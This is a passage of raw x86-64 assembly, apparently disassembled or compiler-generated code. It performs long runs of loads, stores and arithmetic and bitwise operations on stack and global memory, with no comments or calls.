movzx eax, byte [rax]
mov byte [rsp + 0x71], al
mov rax, qword [0x1401141c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x54b8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov word [rcx], ax
movzx eax, word [rsp + 0x844]
mov word [rsp + 0x93c], ax
mov rax, qword [rsp + 0x52e8]
mov rcx, qword [rsp + 0x4b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5008]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5460]
mov eax, dword [rax]
mov dword [rsp + 0x2bb8], eax
mov rax, qword [rsp + 0x5180]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ae8]
mov ecx, dword [rsp + 0x2ba4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5198]
mov dword [rcx], eax
lea rax, [rsp + 0x924]
mov qword [rsp + 0x5508], rax
movsx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0x4f40]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x14011301f], al
movzx eax, byte [rsp + 0x6d]
mov rcx, qword [0x140114250]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x5f], al
lea rax, [rsp + 0x86c]
mov qword [rsp + 0x5510], rax
mov rax, qword [rsp + 0x50b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5268]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x51f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4b80]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5218], rax
lea rax, [rsp + 0x4f00]
mov qword [rsp + 0x5518], rax
mov rax, qword [rsp + 0x5358]
mov ecx, dword [rsp + 0x2b24]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b58], eax
lea rax, [rsp + 0x2b48]
mov qword [rsp + 0x5520], rax
movzx eax, byte [0x1401141be]
movzx ecx, byte [rsp + 0x58]
and eax, ecx
mov rcx, qword [rsp + 0x5308]
mov byte [rcx], al
movzx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x4f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401141e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x50a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x51f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x46], al
lea rax, [rsp + 0x8c8]
mov qword [rsp + 0x5528], rax
movzx eax, word [rsp + 0x8bc]
movzx ecx, word [rsp + 0x93c]
sub eax, ecx
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x5060]
mov eax, dword [rax]
mov dword [rsp + 0x2bbc], eax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4e08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f48], rax
mov rax, qword [rsp + 0x5028]
mov eax, dword [rax]
mov dword [rsp + 0x2bc0], eax
mov rax, qword [rsp + 0x4eb0]
mov rcx, qword [rsp + 0x4b28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5178], rax
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x5110]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x36], al
lea rax, [rsp + 0x46]
mov qword [0x140114260], rax
movzx eax, word [rsp + 0x91c]
mov word [rsp + 0x940], ax
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x870]
sub eax, ecx
mov rcx, qword [rsp + 0x5130]
mov word [rcx], ax
lea rax, [rsp + 0x8c4]
mov qword [rsp + 0x5530], rax
movsx eax, byte [rsp + 0x6f]
mov rcx, qword [rsp + 0x52d8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5038]
mov byte [rcx], al
mov rax, qword [rsp + 0x53f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bb0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af4], eax
lea rax, [rsp + 0x2b28]
mov qword [rsp + 0x5538], rax
mov rax, qword [rsp + 0x4f48]
mov rcx, qword [rsp + 0x54f8]
mov qword [rsp + 0x5540], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5540]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5320], rax
lea rax, [rsp + 0x4ce8]
mov qword [rsp + 0x5548], rax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x49]
or eax, ecx
mov byte [0x140113022], al
mov rax, qword [rsp + 0x50a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e38]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x878], ax
movzx eax, word [rsp + 0x894]
mov rcx, qword [rsp + 0x52b8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x59]
mov byte [rsp + 0x72], al
movsx eax, word [rsp + 0x8a4]
movsx ecx, word [0x14011301c]
sub eax, ecx
mov rcx, qword [rsp + 0x4f28]
mov word [rcx], ax
mov eax, dword [rsp + 0x2ba4]
mov dword [rsp + 0x2bc4], eax
mov rax, qword [rsp + 0x5180]
mov rcx, qword [rsp + 0x5410]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5310], rax
mov rax, qword [rsp + 0x5340]
mov rcx, qword [rsp + 0x5128]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5000], rax
lea rax, [rsp + 0x2bb8]
mov qword [rsp + 0x5550], rax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x898]
sub eax, ecx
mov rcx, qword [0x140114198]
mov word [rcx], ax
mov rax, qword [rsp + 0x5490]
movzx eax, byte [rax]
mov rcx, qword [0x1401141f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0x50a8]
movzx eax, byte [rax]
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x4ef0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5508]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x860], ax
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x51b0]
mov rcx, qword [rsp + 0x5278]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ea8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5198]
mov rcx, qword [rsp + 0x4ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fb8]
mov eax, dword [rax]
mov dword [rsp + 0x2bc8], eax
mov rax, qword [rsp + 0x4e40]
mov rcx, qword [rsp + 0x5370]
mov qword [rsp + 0x5558], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5558]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5380], rax
lea rax, [rsp + 0x63]
mov qword [0x140114268], rax
movzx eax, word [rsp + 0x920]
mov word [rsp + 0x944], ax
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0x67]
xor eax, ecx
mov byte [rsp + 0x40], al
movzx eax, word [rsp + 0x8bc]
mov rcx, qword [rsp + 0x5088]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x874], ax
lea rax, [rsp + 0x888]
mov qword [rsp + 0x5560], rax
mov rax, qword [rsp + 0x4d88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5478]
mov qword [rsp + 0x5568], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5568]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x29bc], eax
lea rax, [rsp + 0x2af0]
mov qword [rsp + 0x5570], rax
mov rax, qword [rsp + 0x50e0]
mov rcx, qword [rsp + 0x5218]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x54f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x54d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x53b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5508]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401141d0]
mov word [rcx], ax
lea rax, [0x14011301b]
mov qword [rsp + 0x5578], rax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5088]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x900], ax
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [0x1401141b8]
add eax, ecx
mov word [rsp + 0x890], ax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x5380]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5400]
mov qword [rcx], rax
mov rax, qword [rsp + 0x54f8]
mov rax, qword [rax]
mov qword [rsp + 0x5580], rax
mov rax, qword [rsp + 0x5108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b24], eax
mov rax, qword [rsp + 0x5520]
mov eax, dword [rax]
mov dword [rsp + 0x2bcc], eax
movsx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0x51f8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140114168]
mov byte [rcx], al
mov rax, qword [0x140114198]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8e4]
sub eax, ecx
mov word [rsp + 0x934], ax
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x5038]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a]
or eax, ecx
mov rcx, qword [rsp + 0x54f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5358]
mov eax, dword [rax]
mov dword [rsp + 0x2bd0], eax
mov rax, qword [rsp + 0x5128]
mov rcx, qword [rsp + 0x4f00]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4fc0]
mov qword [rcx], rax
lea rax, [rsp + 0x4e78]
mov qword [rsp + 0x5588], rax
mov rax, qword [rsp + 0x4dd8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5570]
mov qword [rsp + 0x5590], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5590]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2b3c], eax
lea rax, [rsp + 0x944]
mov qword [0x140114270], rax
movzx eax, byte [rsp + 0x5b]
movzx ecx, byte [rsp + 0x36]
shl eax, cl
mov byte [rsp + 0x48], al
lea rax, [rsp + 0x87c]
mov qword [rsp + 0x5598], rax
movsx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x52a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x8cc]
mov word [rsp + 0x948], ax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fa0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5030], rax
mov rax, qword [rsp + 0x54e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5178]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
lea rax, [0x140114150]
mov qword [rsp + 0x55a0], rax
mov rax, qword [rsp + 0x5348]
mov rcx, qword [rsp + 0x4dd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
movzx eax, word [rsp + 0x92c]
movzx ecx, word [rsp + 0x874]
add eax, ecx
mov word [0x140113038], ax
lea rax, [0x140113012]
mov qword [rsp + 0x55a8], rax
mov rax, qword [rsp + 0x5308]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x69], al
movzx eax, word [rsp + 0x91c]
mov word [rsp + 0x94c], ax
movsx eax, word [rsp + 0x924]
movsx ecx, word [rsp + 0x8a8]
and eax, ecx
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
mov rax, qword [rsp + 0x50e8]
mov ecx, dword [rsp + 0x2b70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b80], eax
mov rax, qword [rsp + 0x5588]
mov rax, qword [rax]
mov qword [rsp + 0x55b0], rax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x5178]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x51d8], rax
lea rax, [rsp + 0x2b4c]
mov qword [rsp + 0x55b8], rax
mov rax, qword [rsp + 0x4f88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
movzx eax, word [rsp + 0x874]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14011304c], ax
mov rax, qword [rsp + 0x53a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x46]
or eax, ecx
mov byte [rsp + 0x55], al
lea rax, [rsp + 0x8d0]
mov qword [rsp + 0x55c0], rax
mov rax, qword [0x140114268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x44]
xor eax, ecx
mov rcx, qword [rsp + 0x4e00]
mov byte [rcx], al
mov rax, qword [rsp + 0x53d8]
mov eax, dword [rax]
mov dword [rsp + 0x2bd4], eax
mov rax, qword [rsp + 0x5180]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50c0]
mov qword [rsp + 0x55c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x55c8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5310], rax
mov eax, dword [rsp + 0x2b48]
mov ecx, dword [rsp + 0x2b84]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5550]
mov dword [rcx], eax
mov rax, qword [rsp + 0x52e8]
mov rax, qword [rax]
mov qword [rsp + 0x55d0], rax
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x8f8]
sub eax, ecx
mov word [rsp + 0x85c], ax
lea rax, [0x14011303c]
mov qword [0x140114278], rax
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x5088]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x940]
sub eax, ecx
mov rcx, qword [rsp + 0x52b8]
mov word [rcx], ax
movzx eax, byte [0x140113022]
movzx ecx, byte [rsp + 0x5f]
sub eax, ecx
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x4fe8]
mov eax, dword [rax]
mov dword [rsp + 0x2bd8], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4f48], rax
lea rax, [rsp + 0x2b18]
mov qword [rsp + 0x55d8], rax
mov rax, qword [rsp + 0x4fc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x51d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5040], rax
mov rax, qword [rsp + 0x4b70]
movzx eax, word [rax]
mov word [rsp + 0x950], ax
movzx eax, byte [rsp + 0x64]
movzx ecx, byte [0x140113007]
sub eax, ecx
mov rcx, qword [0x140114268]
mov byte [rcx], al
movzx eax, word [rsp + 0x8fc]
movzx ecx, word [rsp + 0x90c]
and eax, ecx
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
mov rax, qword [rsp + 0x55a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x46], al
mov rax, qword [0x140114260]
movzx eax, byte [rax]
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0x5180]
mov rcx, qword [rsp + 0x5588]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x54f8]
mov qword [rcx], rax
lea rax, [rsp + 0x2ae8]
mov qword [rsp + 0x55e0], rax
mov rax, qword [rsp + 0x5548]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140113008]
shl rax, cl
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5460]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2b84]
shr eax, cl
mov dword [rsp + 0x2ae0], eax
lea rax, [rsp + 0x924]
mov qword [rsp + 0x55e8], rax
movzx eax, word [rsp + 0x92c]
mov rcx, qword [rsp + 0x53f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140113010], ax
mov rax, qword [rsp + 0x5110]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45]
add eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x5268]
movzx eax, byte [rax]
mov byte [rsp + 0x79], al
mov rax, qword [0x140114158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5598]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x8a8], ax
movsx eax, byte [rsp + 0x74]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x4f40]
mov byte [rcx], al
lea rax, [rsp + 0x2b4c]
mov qword [rsp + 0x55f0], rax
mov eax, dword [rsp + 0x2b20]
mov ecx, dword [rsp + 0x2b80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b48], eax
lea rax, [rsp + 0x5238]
mov qword [rsp + 0x55f8], rax
mov rax, qword [rsp + 0x5340]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5250]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8d0]
mov word [0x140114280], ax
lea rax, [rsp + 0x4f]
mov qword [rsp + 0x5600], rax
movzx eax, word [rsp + 0x888]
mov rcx, qword [rsp + 0x5560]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x89c], ax
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0x5a]
sub eax, ecx
mov byte [rsp + 0x47], al
lea rax, [rsp + 0x914]
mov qword [rsp + 0x5608], rax
mov rax, qword [rsp + 0x4ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bb4], eax
mov rax, qword [rsp + 0x5550]
mov eax, dword [rax]
mov dword [rsp + 0x2bdc], eax
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x4fa0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x53b0]
mov rcx, qword [rsp + 0x5188]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4ed8], rax
movzx eax, byte [0x140113013]
mov rcx, qword [rsp + 0x51d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140113016], al
mov rax, qword [rsp + 0x4f58]
movzx eax, byte [rax]
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x880]
xor eax, ecx
mov word [rsp + 0x888], ax
movzx eax, word [0x140114220]
mov word [rsp + 0x954], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f80]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x944], ax
mov eax, dword [rsp + 0x2b54]
mov ecx, dword [rsp + 0x2b28]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x52b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fb0]
mov qword [rsp + 0x5610], rax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x5138]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ef8], rax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x5618], rax
mov rax, qword [0x140114190]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113023], al
mov rax, qword [rsp + 0x55a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
and eax, ecx
mov byte [rsp + 0x4a], al
movsx eax, word [rsp + 0x920]
movsx ecx, word [rsp + 0x8e8]
sub eax, ecx
mov word [rsp + 0x944], ax
lea rax, [rsp + 0x94c]
mov qword [rsp + 0x5620], rax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ed0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x4f18]
mov qword [rsp + 0x5628], rax
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x5460]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b6c], eax
mov rax, qword [rsp + 0x53d8]
mov eax, dword [rax]
mov dword [rsp + 0x2be0], eax
mov rax, qword [rsp + 0x50d0]
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4eb0], rax
movsx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0x54c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140114157], al
movzx eax, byte [rsp + 0x45]
mov rcx, qword [rsp + 0x52d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3a], al
lea rax, [0x140113010]
mov qword [rsp + 0x5630], rax
movsx eax, word [rsp + 0x890]
movsx ecx, word [rsp + 0x928]
add eax, ecx
mov word [rsp + 0x8e8], ax
mov rax, qword [rsp + 0x4de0]
movzx eax, word [rax]
mov word [rsp + 0x958], ax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [0x140114150]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5140]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5188]
mov rcx, qword [rsp + 0x4db8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5290], rax
mov eax, dword [rsp + 0x2b3c]
mov dword [rsp + 0x2be4], eax
mov rax, qword [rsp + 0x5480]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x55f8]
mov qword [rsp + 0x5638], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5638]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4ec8], rax
lea rax, [rsp + 0x62]
mov qword [0x140114288], rax
movzx eax, word [rsp + 0x8f0]
mov word [rsp + 0x95c], ax
mov rax, qword [rsp + 0x50b8]
movsx eax, byte [rax]
mov rcx, qword [0x140114260]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x5560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5088]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
mov rax, qword [rsp + 0x5508]
movzx eax, word [rax]
mov word [rsp + 0x960], ax
mov rax, qword [rsp + 0x5028]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b20], eax
lea rax, [rsp + 0x2ba0]
mov qword [rsp + 0x5640], rax
mov rax, qword [rsp + 0x4ea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fc8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5098]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5290]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5270]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x3e]
mov rcx, qword [rsp + 0x5230]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113012], al
mov rax, qword [rsp + 0x5170]
movzx eax, word [rax]
mov word [rsp + 0x964], ax
movzx eax, byte [rsp + 0x60]
mov rcx, qword [0x140114250]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72], al
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x7b], al
movsx eax, word [rsp + 0x95c]
movsx ecx, word [rsp + 0x8e0]
sub eax, ecx
mov word [rsp + 0x944], ax
mov rax, qword [rsp + 0x5180]
mov rax, qword [rax]
mov qword [rsp + 0x5648], rax
mov rax, qword [rsp + 0x4dd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4ef8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5300], rax
mov rax, qword [rsp + 0x5538]
mov eax, dword [rax]
mov dword [rsp + 0x2be8], eax
lea rax, [rsp + 0x8cc]
mov qword [0x140114290], rax
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0x5420]
mov byte [rcx], al
movzx eax, word [rsp + 0x8e8]
mov word [rsp + 0x968], ax
movzx eax, byte [0x140113007]
movzx ecx, byte [rsp + 0x4f]
xor eax, ecx
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5458]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x4c00]
mov qword [rsp + 0x5650], rax
mov rax, qword [rsp + 0x54b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5060]
mov qword [rsp + 0x5658], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5658]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2ae4], eax
mov rax, qword [rsp + 0x5210]
mov eax, dword [rax]
mov dword [rsp + 0x2bec], eax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x4f18]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50e0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x874]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x8dc], ax
movsx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x5100]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401141a8]
mov word [rcx], ax
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x5660], rax
mov rax, qword [rsp + 0x5230]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4d], al
movzx eax, word [rsp + 0x914]
mov word [rsp + 0x96c], ax
mov eax, dword [rsp + 0x2b00]
mov ecx, dword [rsp + 0x2b5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bc0], eax
mov eax, dword [rsp + 0x2b28]
mov dword [rsp + 0x2bf0], eax
mov rax, qword [rsp + 0x50e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5218]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5610], rax
mov rax, qword [rsp + 0x4f38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4db8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5188], rax
lea rax, [rsp + 0x918]
mov qword [rsp + 0x5668], rax
lea rax, [rsp + 0x65]
mov qword [0x140114298], rax
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x96c], ax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x5660]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5468]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5048]
mov byte [rcx], al
mov rax, qword [rsp + 0x5358]
mov rcx, qword [rsp + 0x4fe8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x55a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2af4]
mov dword [rsp + 0x2bf4], eax
mov rax, qword [rsp + 0x4ea8]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x55b0], rax
mov rax, qword [rsp + 0x5328]
mov rax, qword [rax]
mov qword [rsp + 0x5670], rax
movzx eax, byte [rsp + 0x4e]
mov rcx, qword [rsp + 0x5398]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4f30]
mov byte [rcx], al
lea rax, [rsp + 0x868]
mov qword [0x1401142a0], rax
mov rax, qword [rsp + 0x5230]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x54d8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x38], al
